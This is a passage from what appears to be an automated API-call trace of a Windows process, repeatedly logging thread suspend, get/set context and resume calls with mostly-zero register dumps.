[49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0168.599] SetThreadContext (hThread=0x1d4, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f0d8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0168.599] ResumeThread (hThread=0x1d4) returned 0x1 [0168.599] CloseHandle (hObject=0x1d4) returned 1 [0168.599] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0168.714] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0168.846] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d4) returned 1 [0168.846] SuspendThread (hThread=0x1d4) returned 0x0 [0168.846] GetThreadContext (in: hThread=0x1d4, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ef70, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fd84000, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0168.847] SetThreadContext (hThread=0x1d4, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ef68, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0168.847] ResumeThread (hThread=0x1d4) returned 0x1 [0168.848] CloseHandle (hObject=0x1d4) returned 1 [0168.848] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0168.973] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0169.097] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d4) returned 1 [0169.097] SuspendThread (hThread=0x1d4) returned 0x0 [0169.097] GetThreadContext (in: hThread=0x1d4, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f538, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f931a00, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0169.109] SetThreadContext (hThread=0x1d4, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f530, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, 